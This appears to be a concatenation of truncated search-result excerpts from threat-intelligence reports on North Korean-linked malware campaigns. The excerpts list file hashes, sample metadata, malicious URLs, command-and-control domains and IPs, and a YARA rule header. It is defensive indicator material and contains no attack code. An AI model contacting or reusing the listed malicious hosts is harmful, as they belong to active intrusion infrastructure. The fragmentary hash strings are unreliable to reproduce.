f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f9…","…Name BFB41BC0C3856AA0A81A5256B7B8DA51 Size 578174 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 bfb41bc0c3856aa0a81a5256b7b8da51 SHA1…","…3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e bce1eb513aaac344b5b8f7a9ba9c9e36fc89926d327ee5cc095fb4a895a12f80 bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd…","…MD5 0f27c6e760c2a530ee59d955c566f6da 59a924bb5cb286420edebf8d30ee424b aaeb059d62c448cbea4cf96f1bbf9efa bfe2a0504f7fb1326128763644c88d37 URL https://atusay.lat/kxydo https://crilts.cfd/cdeeb https://labimy.ink/rskme https://ppangz.mom/mjifi AhnLab TIP 를…","…extracted from the Office files found in the triage phase, the following DLL files: SHA256 Original File name Compile Date bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114 wsuser.db 4/24/2020 b76b6bbda8703fa801898f843692ec1968e4b0c90dfae9764404c1a54abf650b unknown 4/24/2020…","…\"pe\" rule apt_NK_Lazarus_DllImplat_cfg_decoder { meta: reference = \"https://blog.malwarelab.pl/posts/lazarus_validator/\" hash = \"bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114\" hash = \"26a2fa7b45a455c311fd57875d8231c853ea4399be7b9344f2136030b2edc4aa\" author = \"Maciej Kotowicz, mak@malwarelab.pl\" copyright =…","…3 - Figure 4 - 4257bb11570ed15b8a15aa3fc051a580eab5d09c2f9d79e4b264b752c8e584fc Tags backdoortrojan Details Name C01DC42F65ACAF1C917C0CC29BA63ADC Size 233472 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 c01dc42f65acaf1c917c0cc29ba63adc SHA1…","…zzJG.zip 8 MD5 42f2dbc68c6a4844474c695bf8000420 zzG.zip 9 MD5 c0375790762356a5652719b97a7b5602 zzJG_2.zip 10 MD5 e96157d3b82008c5e3142a57584678cb 83972.tmp (zzJG.zip) 11 MD5…","…20e4c50dd521b8561510e15f99c677409b17f69cc3825d9f76326c665c672fb4 625c361380bf472c16edec72f5c3a87e9f5be5864d5995bed47997f9d0341180 c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89 707e8cb56f32209ca837f2853801256cd3490ed2cc4b3428dc5e4238848f226d SHA1…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 f00bde07d9f8b7af1da425c23cc47e47 SHA1 c0670e18e1e3fbde58a25cbb94ba11558c02e7d3 SHA256 0bc7517aa2f0c1820ced399bfd66b993f10ad77e8d72727b0f3dc1ca35cad7ba SHA512…","…April 2018 Attack Indicator Type Indicator Hash 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd Hash c07bea0928a35b9292eebab32563378d01d95434d098e5c7c076e94866a14212 Folder %LOCALAPPDATA\\MicroSoft Update1 File %LOCALAPPDATA\\MicroSoft Update1\\svServiceUpdate.exe File %TEMP%\\uplog.tmp…","…엔진버전] wieb.dat : Trojan/Win.Kimsuky.C5016729 (2022.03.19.00) Gold Dragon : Trojan/Win.Kimsuky.C5016818 (2022.03.19.00) MD5 c096ceaaecd4c8fccfe765280a6dac1e dd468bb6daff412f0205b21d50ddd641 URL https://osp06397.net/view.php?id=21504 https://us43784.org/report.php AhnLab TIP…","…MD5 4eedb2df53597a15fd48b726d85517f0 SHA1 a60ece7673fa415abe1fb97ac60e19ee446858b1 SHA256 c0c2239138b9bc659b5bddd8f49fa3f3074b65df8f3a2f639f7c632d2306af70 SHA512…","…09 17171c644307b17d231ad404e25f08b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3…","…(GUI) x86-64, for MS Windows MD5 5182e7a2037717f2f9bbf6ba298c48fb SHA1 47b5d2c3f741a896a26993dbbf4a5deec6f9ac53 SHA256 c0ee19d7545f98fcd15725a3d9f0dbd0f35b2091e1c5b9cf4744f16e81a030c5 SHA512…","…www.cnbv.gob.mx (currently clean) brou.com.uy (currently clean) sap.misapor.ch www.eye-watch.in MD5 Hashes c1364bbf63b3617b25b58209e4529d8c 85d316590edfb4212049c4490db08c4b 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1507e7a741367745425e0530e23768e6…","…Host3. The following malicious files were found on the system: Filename Size MD5 C: \\ Windows \\ gpsvc.dat 901'555 bytes c1364bbf63b3617b25b58209e4529d8c C: \\ Windows \\ gpsvc.exe 753'664 bytes 85d316590edfb4212049c4490db08c4b C: \\ Windows \\ msdtc.bat 454 bytes…","…bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 7504a626993179e5819246234ca6c4c9 PDB D:\\Sources\\MainWork\\Group2017\\Sample\\Release\\DogCall.pdb URL…","…[ from decoded powershell script ] 222.122.86.177 Document 2 .hwp file : — 계정기능 제한 안내.hwp hashes: MD5 c155f49f0a9042d6df68fb593968e110 SHA1 9d6fa64e0c0f3ec7442cb72bfaa016c3e3d7ff52 SHA256 81ee247eb8d9116893e5742d12b2d8cd2835db3f751d6be16c2e927b892c5dc7 DNS…","…# Dropper detection Indicators of compromise [+] Hashes MD5 Description 37505b6ff02a679e70885ccd60c13f3b c156572dd81c3b0072f62484e90e47a0 Document…","…cd68b8c00708844fefaff84f23f97a67bedbee814888d172a530752d3d8a2cae CDrivers.zip df994bd9153914e66ceee3f8bcb93527 c17aa46954ed1b9cd147e674de3f25520b1dfcaa20778a36b6957da1b291f0d3 CDrivers (1).zip a6add56c8c3cda2a4a247632aa7fc3ea f0b2095e384e253bff6fff3a20608112be0d0c2ed0bce9d29e04fbd02d33c089…","…SHA-256 2e40620da710d81d4d1d95d1694aa823bdf25ad8e62662243dcf538c48f9b07d c19df37c6d819dae3cc2628940bd3524195e3c4357685b6797b0a0917d3927e7 SHA1 035569bdbf955493e4bf5045610fa66d312d164a 037ee4de3892fbf7ba1929ae64f0ee6842f94db4 Remediation Block all threat indicators at…","…Size 1643616 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5cfa1c2cb430bec721063e3e2d144feb SHA1 c1a9044f180dc7d0c87e256c4b9356463f2cb7c6 SHA256 820ca1903a30516263d630c7c08f2b95f7b65dffceb21129c51c9e21cf9551c6 SHA512…","…AccountStore.bak 66037fc3c489d099107e2d3cddd33569 a7e34ed64337893752eadfbfae9a516c8b482329 c1d6a5940045b7ff0063b85d89750979d8501d52815b0134fb556f2c12210369 ApplicationCacher-f0182c1a4.rbs 5f77737c1f4bd8b1868dc50efce1bbf5 c85c825f1e2ef66d83dc1cf011f8b2e6aee08fa8…","…a2bfa52ac21ab618fb7f8af1261b6428 f316f341f923c1598dbbb6967c1c66e2 0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643 4da5e7d083af1ba3872c205ff27de8cc 9d555c1093ff84ac3d442b1a0617f7ef Domain： myemail.works anicloud.ru cloud-sheet.net…","…(GUI) x86-64, for MS Windows MD5 fdd55a38a45de8af6f8c34a33bae11cb SHA1 f2da56d6a565ade77d7ebb0c31eda99b415bcced SHA256 c24c322f4535def3f8d1579c39f2f9e323787d15b96e2ee457c38925effe2d39 SHA512…","…post-mortem digital forensic tools. IoCs Files SHA-1 Filename Detection Description C273B244EA7DFF20B1D6B1C7FD97F343201984B3 %TEMP%\\7zOC35416EE\\Quiz1.exe Win64/NukeSped.KT An initial dropper disguised as a “Hello World” challenge that triggers…","…MagicRAT 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5 c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4…","…Name iconcache.db Size 845312 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 c2c5751cdfdbe9fac44337d4cb6e74e4 SHA1 02678efe715ff2658c6a4c2b596046b744a8b222 SHA256 d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 SHA512…","…对应的reqveh.js文件信息如下： 文件名 rqveh.js MD5 C2E62F04D5234BA46A050BDDDF3540CB 通过参数生成uid后请求url，并执行接收到的数据。5秒请求一次。 溯源与关联…","…(GUI) x86-64, for MS Windows MD5 86685ec8c3c717aa2a9702e2c9dec379 SHA1 29ddf9baad018518060814a03d424f4e08a0e914 SHA256 c2f150dbe9a8efb72dc46416ca29acdbae6fd4a2af16b27f153eaabd4772a2a1 SHA512…","…cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0a8cd7584547bdb2959f0d1008e6871 b13ffe7b8e351291250f1a3a855134aa 1dee4c60fffcc80eb4bbd523eedab2f4 8c84d7f559cf0947fbf1981a0acb8a35 ac…","…AppleJeus WbBot case MacInstaller case DMG file hash 48ded52752de9f9b73c6bf9ae81cb429 3efeccfc6daf0bf99dcb36f247364052 c2ffbf7f2f98c73b98198b4937119a18 PKG file hash dab34d94ca08ba5b25edadfe67ae4607 cb56955b70c87767dee81e23503086c3 8b4c532f10603a8e199aa4281384764e PKG file name…","…(NewACt.dat) Blue Estimate 2 (Hero.dll) MD5 66B73FBA4E47B3184EDD75B0CE9CF928 E54B370D96CA0E2ECC083C2D42F05210 C315DE8AC15B51163A3BC075063A58AA Time-Stamp 2019.01.06 14:55:36 UTC 2019/11/19 07:15:57 UTC 2020/01/07 01:38:25 UTC Export Function Name…","…SHA256 : F7E04D06690CC6C2FA699C70B9F95AC47E1393E0F6B5470BA2D85DFEF28AF996 FileName : resource_DLL (Main Malware) MD5 : C315DE8AC15B51163A3BC075063A58AA SHA1 : 6F715EB6815E9A44BF9A48D89C1B92F590F1FA1A SHA256 : 6D870937675B98355747ECFDF4768B274191B4679DEDE4B93828D2EBD7198883 C2 :…","…May 2018 Attack Indicator Type Indicator Hash 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10 Hash c3172b403068aabc711b7cbe4d923ae1fa705ce11c4cc71271fde83ce751c21c Folder %LOCALAPPDATA\\MicroSoft Update1 File %LOCALAPPDATA\\MicroSoft Update1\\svServiceUpdate.exe File %TEMP%\\uplog.tmp…","…(Hash varies due to logging) File c:\\Users\\ \\AppData\\Roaming\\microsoft\\Windows\\start menu\\Programs\\Startup\\OneNote.vbs c327631a212e4a9681e3cf1574c500ce3700186cc605ae08db5878ecb0bfe66f (Note: hash may vary across different machines) John Hammond.…","…or hash.sha256(“f1b4eb84e77e39803a0463b49b66600adb19347512354d0481568a8411b75b24”) or hash.sha256(“c348e945e1f6123bd054277d16a39da715deed8f5a6849bc70a57913b877e2ba”) or hash.sha256(“a8b0f9717bc16d48e55be95886500179ca4b7dad9610dd0865dbf8849901a791”)…","…Hash-SHA256 b66db13d17ae8bcaf586180e3dcd1e2e0a084b6bc987ac829bbff18c3be7f8b4 Hash-SHA256 c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9 Hash-SHA256 d8a9879a99ac7b12e63e6bcae7f965fbf1b63d892a8649ab1d6b08ce711f7127 Hash-SHA256…","….Net malware based on Quasar RAT md5 : C3885F3C1001A53EB4FBBB4B5F42163E sha1 : 322AD36BF0DB8244B64E2D3AFC1CCF5ED6685DF3 sha256 : 51a92bd57ece4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752 md5 :…","…Hash-MD5 638f9235d038a0a001d5ea7f5c5dc4ae Hash-MD5 80a2af99fd990567869e9cf4039edf73 Hash-MD5 c39ed6f52aaa31ae0301c591802da24b Hash-MD5 db349b97c37d22f5ea1d1841e3c89eb4 Hash-MD5 f9992dfb56a9c6c20eb727e6a26b0172 Hash-MD5…","…Size 157696 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 e4ed26d5e2a84cc5e48d285e4ea898c0 SHA1 c3d28d8e49a24a0c7082053d22597be9b58302b1 SHA256 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 SHA512…","…Name switch.dll Size 118784 bytes Type PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5 c4141ee8e9594511f528862519480d36 SHA1 2b22d9c673d031dfd07986906184e1d31908cea1 SHA256 129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0 SHA512…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-03-21 21:12:17-04:00 Import Hash c4406c66f7ca84ffb881d843c49acbd6 PE Sections MD5 Name Raw Size Entropy e7e02cd4a189cea5efaa8fb36509aa45 header 1024 3.530105…","…les** ``` 0fc425836eb854914525302b59cb8300b709c3e51ad776455a7eb5e29356d4f3 01f1a70bfc0016d3fceefb3b2133977a6a9649ad1c54280fcbbe1a8f9aad2149 c470bef115787abcc9a1d1df9213a072ab2b6daea5eaaa18a4378bca4d37f7df 8fb56f3d63e5dbc55695fe6e043707a933116ace43db4d3d67f42341a6540eef 4555744f4a328cddca885938f8fee83133be93c59be33a3e0b2906b536ee667c 85d3c1500…","…27b134af30f4a86f177db2f2555fe01d 188754814b37927badc988b45b7c7f7d6b4c8dd3 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac…","…44b3f46a370faf94cc51386b4ccaab83 SHA1 5de4215ba91bd52ae7371a049c23c8239302f3a5 SHA256 c49b4d370ad0dcd1e28ee8f525ac8e3c12a34cfcf62ebb733ec74cca59b29f82 Filename 인권 설문지 .docx MD5 83b97826c43808c5caa1b69c9c7cbeb0 SHA1…","…and data required to install JMTTrader., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200 MD5 c4aa6f87124320eadc342d2fe7364896 SHA1 4fcc84583126689d03acf69b9fca5632f7d44752 SHA256 07c38ca1e0370421f74c949507fc0d21f4cfcb5866a4f9c0751aefa0d6e97542 SHA512…","…SHA1 b8daba7780619f9a9001cf391c74a5e56682aa94 d042afa59dd81cc9e0d0e50e3cc8694a3c5f8fb4 c4ce18cb838eb61d20a857e00589b0a04a06ba52 Remediation Always be suspicious about emails sent by unknown senders. Never click on links/attachments sent by unknown…","…for additional details. 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 Tags trojan Details Name C51416635E529183CA5337FADE82758A Name server.exe Size 947200 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5…","…ef4ed3 f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93 9b839e9169babff1d14468d9f8497c165931dc65d5ff1f4b547925ff924c43fe c52e3e73d7870bf8edc1b9ae52b26c08ef2466f948ef3446b2c865fd53d859dd GoogleMsgStatus.pdf SHA-256 Hash e09d2277a19dddd751edb164bde064682a6acc41a7ee178a2dacd4f9ac357fc7 Application Bundle and…","…Size 139264 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 d2da675a8adfef9d0c146154084fff62 SHA1 c55d080ea24e542397bbbfa00edc6402ec1c902c SHA256 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA512…","…4f544e8756373520e98ed12b921ea7e05a93cf0152405ef3ac65133f7c8660a1 e0f4924aeb8befbf6a78411f910d2c148de7c5ff c587cdbadc3573149c8b1a78fbbd876f 84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69 4b35d14a2eab2b3a7e0b40b71955cdd36e06b4b9…","…Amazon-Kitty.exe e1ecf0f7bd90553baaa83dcdc177e1d2b20d6ee5520f5d9b44cdf59389432b10 SHA-256 Malicious KiTTY implant for mscoree.dll c5a470cdf6f57125a8671f6b8843149cc78ccbc1a7bc615f34b23d9f241312bf SHA-256 Weaponized Sumatra PDFReader.exe 71beb4252e93291c7b14dfcb4cbb5d58144a76181fbe4aab3592121a3dbd9c55 SHA-256 Weaponized…","…malicious sample reveals the following information: - SHA256: 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f - SHA1: c5d67fb97a7a824168c872f8557eb52f503c9798 - MD5: 87dc4c8f67cffc8a9699328face923e2 - File Type: lnk file - File Size: 2.03 MB - File Name: 1.알티피_엔지니어링본부사업개발회의자료.hwp.lnk…","…Name C5DC53A540ABE95E02008A04A0D56D6C Size 241152 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c5dc53a540abe95e02008a04a0d56d6c SHA1 4cfe9e353b1a91a2add627873846a3ad912ea96b SHA256 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA512…","…⚫ e756d0545315a553a45a02e69a1cbe61 ⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫ 312cdb2032a5460f4a05939ea4f35c56 ⚫ 805804d1fc941796a529e52406a44305 ⚫ 3bf86507726a0c8e77ad3ce584a6cdab ⚫…","…Size 466241 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 bf474b8acd55380b1169bb949d60e9e4 SHA1 c60c18fc0226a53be15637ee3ef0b73b0dabd854 SHA256 d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 SHA512…","…Hash-MD5 b7f7ad4970506e8547e0f493c80ba441 Hash-MD5 2b4e8612d9f8cdcf520a8b2e42779ffa Hash-MD5 c61256583c6569ac13a136bfd440ca09 Hash-MD5 31dab68b11824153b4c975399df0354f Hash-MD5 54a116ff80df6e6031059fc3036464df Hash-MD5…","…E2487B33A6510D6F51B8AA158A36C6C290E885A66A9E30D54E3BB1FE0EA79777 FileName : resource_PDF MD5 : 5FDC8906A03FFD214E09816FDC58059A SHA1 : C618645233B311E18E13322FFEBEC2677893DF50 SHA256 : F7E04D06690CC6C2FA699C70B9F95AC47E1393E0F6B5470BA2D85DFEF28AF996 FileName : resource_DLL (Main Malware) MD5 :…","…Name iconcache.db Size 676864 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed MD5 c627db421adaaa320d3ac42396c89f8a SHA1 dcf95cd96203e794724fc14e454e63fba9afe82a SHA256 b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 SHA512…","…of the DLL loader heavily uses system registry to fe tch the decryption key, and the encrypted payload. Name: lcsvsvc.dll MD5: c635e0aa816ba5fe6500ca9ecf34bd06 SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120 File s ize:…","…eaeefd e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee 062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7 c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34 16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34 2f1335…","…& Artifacts 북한의 회색지대 전략과 대응방안.hwp md5 : C73225F976100AB972934F31B61EABCC sha1 : 2FD6AD80E0FACBB2E9C46734035E190333F0EFE3 sha256 : C6661195693D0F09D70C643F87194282593EF0D6A0E349720310D760D002E062 decrypted malware md5 : 22BEA8086D87FAC45B85BEA9E81CA142 sha1 : 0EF06518DFCE6641B2002C3C924A770D5E579891 sha256 :…","…6b90e2a3f0ad8819b5afe67bf13451c9782af26a9f2bdac3a0e042569054e5fd 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11…","…(GUI) Intel 80386, for MS Windows MD5 e4ed26d5e2a84cc5e48d285e4ea898c0 SHA1 c3d28d8e49a24a0c7082053d22597be9b58302b1 SHA256 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 SHA512…","…SHA-256: b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 SHA-256: c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 SHA-256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 SHA-256:…","…to the domain. 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 Tags backdoorbottrojan Details Name C6801F90AAA11CE81C9B66450E002972 Size 176640 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 c6801f90aaa11ce81c9b66450e002972 SHA1…","…IoC (Indicator of Compromise) MD5 c681fe3f42e82e9240afe97c23971cbc d44a22d2c969988a65c7d927e22364c8 28d0143718153bf04c1919a26bb70c2d 36be2cbb59cd1c3f745d5f80f9aee21c C2 japanroom.com…","…(GUI) Intel 80386, for MS Windows MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec SHA512…","…HSMBalance.exe MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec The open-source screengrabbing code used in the keylogger from the Vietnam incident is relatively uncommon: while a basic VirusTotal pivot…","…VB script : Microsoft.vbs hashes: MD5 72e5b8ea33aeb083631d1e8b302e76af SHA1: 8879de48468dd650152cb3aa150349db69ec33c4 SHA256: c69f4052c34efc8b0b51892c53488c0a04ed68e748a1c5297500c1ad3e0ad94d DNS requests domain ljs5950.cafe24.com Connections ip 222.122.86.177 HTTP/HTTPS requests url…","…2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1 689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94 c6a48365c3db9761bd60981bdcdd87aced23d8e60067caa30fee501bf4b47b84 a03d13c9825e150810e6e6aaf053d71ec5a53b86581414dd982a74d4a8bc5475 KANDYKORN SHA256 hash:…","…Name C6F78AD187C365D117CACBEE140F6230 Size 208896 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c6f78ad187c365d117cacbee140f6230 SHA1…","…Name 3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx Size 521660 bytes Type Microsoft Word 2007+ MD5 56470e113479eacda081c2eeead153bf SHA1…","…One day, King God analyst @navsi will analyze it. have a nice week end! IOC's & Artifacts 북한의 회색지대 전략과 대응방안.hwp md5 : C73225F976100AB972934F31B61EABCC sha1 : 2FD6AD80E0FACBB2E9C46734035E190333F0EFE3 sha256 : C6661195693D0F09D70C643F87194282593EF0D6A0E349720310D760D002E062 decrypted…","…Size 122880 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 d0a8e0b685c2ea775a74389973fc92ca SHA1 c752ad74cb99a836eec4b984dab03cb7e99eb974 SHA256 ab88f12f0a30b4601dc26dbae57646efb77d5c6382fb25522c529437e5428629 SHA512…","…MD5 0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae URL…","…Indicator Type Description Detection Name 5FE869D0D68086A231574F83A6C8C35E MD5 악성 LNK Trojan.Agent.LNK.Gen C7D258F44B4A09850D7CB9A0142EA88E MD5 kid1253514379.bat Trojan.BAT.Agent A253FA2200E4BA4D64592D87DB81B8F6 MD5 init.dat Trojan.BAT.Agent…","…Indicators of Compromise RustBucket SHA256 hashes: c9a7b42c7b29ca948160f95f017e9e9ae781f3b981ecf6edbac943e52c63ffc8 c7f4aa77be7f7afe9d0665d3e705dbf7794bc479bb9c44488c7bf4169f8d14fe SUGARLOADER SHA256 hash: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940 IP address: 23.254.226.90…","…SHA-1 53948d9596ebab5c4cf2ac04e7fb70c429e0cbbf Imphash 82a8292007e682f1a127ba8dcebfae96 Rich Hash c8040dd3ff2f4afd042efd4ebe1a43c6 SSDEEP 12288:hy+6mXiDDQaBC9WSLe8aHDlglIdLnEAox6Kt7p733WE+jDWFt+Y+ELc2OTWvsIUE:41h5n0SleSPF1i9gs/GS6eRMUsWWPs8l File Indicators --…","…and all of ($type_definition, $dll_import) and ($remote_file_manager*) } Indicators Of Compromise (IOC) 1 2 3 4 5 6 MD5 c81ed44799aefb540123159618f7507c SHA-1 fd23177a4481f39fe53a306e2d7fe282cb30a87d SHA-256 87b5a1f79a2be17401d8b2d354c61619ce6195b57e8a5183f78b98e233036062 Virustotal…","…Domains: jdkgradle.com rebelthumb.net levelframeblog.com OdicLoader SHA256 hashes: c83c7b000a955f2b8cb92bb112ed606ffd9fbebbe3422f80d90d06b167f2f37b 492a643bd1efdaca4ca125ade1b606e7bbf00e995ac9115ac84d1c4c59cb66dd Comebacker SHA256 hash:…","…Size 129024 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 35e38d023b253c0cd9bd3e16afc362a7 SHA1 c850e733f4e0d4abb34969678f2a1abe3b2f4c24 SHA256 eee38c632c62ca95b5c66f8d39a18e23b9175845560af84b6a2f69b7f9b6ec1c SHA512…","…Indicators of Compromise MD5 ac146406fa4781454cab035d4fe3f244 bf6b4a30f1e5b4f4156446adc7693236 4ca9cad959d64599e85ecb45232cb8a6 c8549d0773855ce9a0b74d814da3e119 SHA-256…","…an implant from the Konni RAT family as the final payload. Impact Information Theft and Espionage Indicators of Compromise MD5 c8556d5dd6383b600a459a531beb05ff SHA-256 4cd7e92ac6a3d068683d41beabd82d82267d97aa89603c708c0dd4af637d6d67 SHA1 3024b5438f5d63cdedb1c473cba07b1825b60a1f URL…","…ApplicationCacher-f0182c1a4.rbs 5f77737c1f4bd8b1868dc50efce1bbf5 c85c825f1e2ef66d83dc1cf011f8b2e6aee08fa8 93d78712eb3f9e81286a9ebcffe6296ef05eb20dd53a76c16f6fb5384b0baf26 Cacher.hls-iol 12011c44955fd6631113f68a99447515…","…for VelvetCake (LICENCE) SHA256 467660ef31b8ec248ae434fdee0a68de5098bcfd08776a4004ccbdcd7904bd37 VelvetCake First Stage SHA256 c88165d943f59014d668818d99d9819e6d295d355c4e935ad7a2380bbe32ccc4 VelvetCake First Stage (okay.md) SHA256 cd0a48b5ebd946ea2b8964e9d6a73a48d73777fdb7c8da99c28404150b560f6c VelvetCake Powershell…","…SHA1 c8bb4f1ebeafd00cc6b73e2cf265c18fd8660df7 2500050253ecc95279b319bc469031d270ae5a66 Remediation Block all threat indicators at your respective controls. Search for indicators…","…주요 침해 지표 (Indicator of Compromise) ● MD5 1af7148dc027753297e0f28770f16d4e a2c40c8b4aebee3f558ffb0f0e807852 c8c9fef7678d9d3e3dedef57b328c080 23fbc0f35f33ec0abc100e0dd5e21033 3e16b90540bb6086c604d0353f5f9a7f d6f4d4a85d7b8b940bf6155806d6f930 d8047ac489bc55b1353904b986c53059 396a9b9…","…일단 북한(DPRK) 아~들이 인증서 갱긴 안내, 이 아닌 인증서 갱신 안내로 해야 하는데 오타 검사도 안 하고 해서 갱긴이 된 것 같은 느낌이 드는 악성코드 MD5:e50f2ae7fb03675a1ef58b1cf9cda6d1 SHA1:c8cb836b3f67d0cae6fdeff4d90410ce9355a97e SHA256:b9f7133bddc4145b0dc9ddabe22cdebd6caed9ec5281728b6eeb67781a283a8b 해당 악성코드는 숫자 형태로 난독화된 PowerShell 코드 전체를 복원해서 예약 작업 등록, GitHub…","…IoC (Indicators of Compromise) Indicator Type Description Detection Name C8CE5C23D4644AA089455C479E52DAE3 MD5 샘플 1 - 2603vvip고객현황.lnk Trojan.Agent.LNK.Gen 4A0E6C5932CEE062102E2D19E92C85A4 MD5 샘플 1 - user-config.js (로더)…","…MD5 Initial installer 7b6d02a459fdaa4caa1a5bf741c4bd42 MD5 Initial installer 7457dc037c4a5f3713d9243a0dfb1a2c MD5 TrollAgent DLL c8e7b0d3b6afa22e801cacaf16b37355 MD5 TrollAgent DLL 2e5f2a154e1b67cd0d6a2f6b5feb6de7 MD5 TrollAgent DLL 045f28a479ba19a95c0407a663e2f188 MD5 TrollAgent DLL…","…65 7457dc037c4a5f3713d9243a0dfb1a2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8e7b0d3b6afa22e801cacaf16b37355 